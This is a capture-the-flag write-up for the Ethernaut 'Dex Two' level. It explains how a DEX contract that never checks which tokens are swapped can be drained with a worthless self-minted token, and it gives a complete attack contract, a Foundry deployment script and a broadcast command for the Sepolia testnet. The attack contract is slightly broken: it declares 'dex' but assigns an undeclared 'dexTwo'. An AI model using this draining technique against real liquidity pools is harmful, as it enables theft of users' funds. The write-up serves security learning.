The Ethernaut CTF Solutions | 23 - Dex Two

The Ethernaut CTF Solutions | 23 - Dex Two

The Art of the Swap: Turning Dex Flexibility Against Itself

ยท

5 min read

Goals

The Contract

We stay in DeFi with another Dex challenge.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
// import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
// import 'openzeppelin-contracts-08/access/Ownable.sol';
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Ownable} from "../helpers/Ownable-05.sol";

contract DexTwo is Ownable {
    address public token1;
    address public token2;

    constructor() {}

    function setTokens(address _token1, address _token2) public onlyOwner {
        token1 = _token1;
        token2 = _token2;
    }

    function add_liquidity(
        address token_address,
        uint amount
    ) public onlyOwner {
        IERC20(token_address).transferFrom(msg.sender, address(this), amount);
    }

    function swap(address from, address to, uint amount) public {
        require(
            IERC20(from).balanceOf(msg.sender) >= amount,
            "Not enough to swap"
        );
        uint swapAmount = getSwapAmount(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }

    function getSwapAmount(
        address from,
        address to,
        uint amount
    ) public view returns (uint) {
        return ((amount * IERC20(to).balanceOf(address(this))) /
            IERC20(from).balanceOf(address(this)));
    }

    function approve(address spender, uint amount) public {
        SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
        SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
    }

    function balanceOf(
        address token,
        address account
    ) public view returns (uint) {
        return IERC20(token).balanceOf(account);
    }
}

contract SwappableTokenTwo is ERC20 {
    address private _dex;

    constructor(
        address dexInstance,
        string memory name,
        string memory symbol,
        uint initialSupply
    ) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }

    function approve(address owner, address spender, uint256 amount) public {
        require(owner != _dex, "InvalidApprover");
        super._approve(owner, spender, amount);
    }
}

The hack

The DexTwo contract is interesting. It is almost exactly the same as the previous one, but this time our goal is to drain the reserves of both tokens! In reality, this is even simpler... First, let's try to find the differences between the two contracts.

In fact, there is only 1 difference, in the swap() function:

function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapPrice(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  }

The following requirement has been removed:

require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");

So basically, the contract is no longer validating the tokens that are being swapped.

Hum... What could go wrong?

This means that we can swap any token for any other token, and the contract will not complain. Good for us! This is a huge vulnerability, and we can use it to drain the reserves of both tokens very easily, and for free :)

Let's create a new useless token that will be used as tokenIn to feed the DexTwo contract while we empty its tokenOut reserves. Something simple inherited from OpenZeppelin's ERC20 contract will do just fine:

contract FreeToken is ERC20 {
    constructor(address _dexterTwo) ERC20("FreeToken", "FTK") {
        _mint(_dexterTwo, 10000000 * 10 ** decimals());
    }
}

Next, we have to make sure everything is set correctly, and that all approvals are in place. After that, we send 100 FreeToken to the DexTwo contract to simulate an existing reserve. And we will finally be able to drain the reserves of both tokens in exchange for our FreeToken!

  • The first swap will be of 100 FreeTokens for token1. This will empty the reserves of token1.

  • The second swap will be of 200 FreeTokens for token2. This will empty the reserves of token2.

Solution

Here is the full solution:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface IDexTwo {
    function token1() external returns (address);
    function token2() external returns (address);
    function swap(address from, address to, uint256 amount) external;
    function approve(address spender, uint256 amount) external;
    function balanceOf(
        address token,
        address account
    ) external view returns (uint256);
}

contract FreeToken is ERC20 {
    constructor(address _dexterTwo) ERC20("FreeToken", "FTK") {
        _mint(_dexterTwo, 10000000 * 10 ** decimals());
    }
}

contract DexterTwo {
    IDexTwo private immutable dex = IDexTwo;
     address private immutable token1;
    address private immutable token2;
    address private freeToken;

    constructor(address _dexTwo) {
        dexTwo = IDexTwo(_dexTwo);
        token1 = dexTwo.token1();
        token2 = dexTwo.token2();
    }

    function setFreeToken(address _freeToken) public {
        freeToken = _freeToken;
    }

    function attack() public {
        dexTwo.approve(address(dexTwo), type(uint256).max);
        IERC20(freeToken).approve(address(dexTwo), type(uint256).max);
        IERC20(freeToken).transfer(address(dexTwo), 100);

        dexTwo.swap(freeToken, token1, 100);
        dexTwo.swap(freeToken, token2, 200);

        require(
            IERC20(token1).balanceOf(address(dexTwo)) == 0 &&
                IERC20(token2).balanceOf(address(dexTwo)) == 0,
            "Hack failed!"
        );
    }
}

We can write the deployment script as follow:

  1. Deploy our DexterTwo contract;

  2. Deploy our FreeToken, because why not?

  3. Set the FreeToken address in the DexterTwo contract, so it can interact with it;

  4. Launch the hack (set approvals and swap);

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {FreeToken, DexterTwo} from "../src/23_DexTwo.sol";

interface IDexTwo {
    function token1() external view returns (address);
    function token2() external view returns (address);
    function balanceOf(
        address token,
        address owner
    ) external view returns (uint256);
}

contract PoC is Script {
    // Replace with you DexTwo instance
    IDexTwo dexTwo = IDexTwo(0x56aA45E6eAA6178623B662e49eeb77c44d64e900);

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        // 1. Deploy our DexterTwo contract
        DexterTwo dexterTwo = new DexterTwo(address(dexTwo));
        // 2. Deploy our FreeToken contract
        FreeToken freeToken = new FreeToken(address(dexterTwo));
        // 3. Set address of FreeToken inside DexterTwo
        dexterTwo.setFreeToken(address(freeToken));
        // 4. Call the attack function
        dexterTwo.attack();

        console2.log(
            "DexTwo token1 balance: ",
            dexTwo.balanceOf(dexTwo.token1(), address(dexTwo))
        );
        console2.log(
            "DexTwo token2 balance: ",
            dexTwo.balanceOf(dexTwo.token2(), address(dexTwo))
        );

        vm.stopBroadcast();
    }
}

Finally, you can run the script with the following command:

forge script script/23_DexTwo.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

And admire the result in your console:

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway

  • Always validate the sensitive inputs properly. Always!

You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

ย